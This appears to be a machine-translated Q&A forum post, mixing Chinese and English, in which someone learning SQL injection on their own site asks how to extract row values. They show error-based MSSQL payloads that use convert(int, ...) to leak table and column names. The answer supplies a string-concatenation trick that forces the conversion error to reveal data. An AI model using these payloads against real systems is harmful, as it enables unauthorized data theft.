学习sql注入。我在我的网站上发现了一个sql注入。
我可以执行以下查询并检索表名和列名
表名:
convert(int,(select top 1 table_name from information_schema.tables))
Columnames:
convert(int,(select top 1 column_name from information_schema.columns where table_name='customer' and column name not in('id'))
> Table structure:
>
> id nvarchar custid nvarchar
id custid --------- 1 1000 2 1001
我找到了表的以下结构。
但现在我无法获得行中的值..
convert(int,(select top 1 id from customer))--
在此查询中,它不显示任何错误,我无法获取行值。
eventhough“id”列类型是“nvarchar”它存储整数值,所以转换成int时,不会导致错误??
在这种情况下如何获取行的值?
答案 0 :(得分:1)
您可以连接非数字字符串,例如convert(int,(select top 1 'id:' + id from customer))--
如果您正在寻找int字段中的内容,请将其强制转换为varchar(10),然后使用非数字字符串连接。
但不要将此用于邪恶......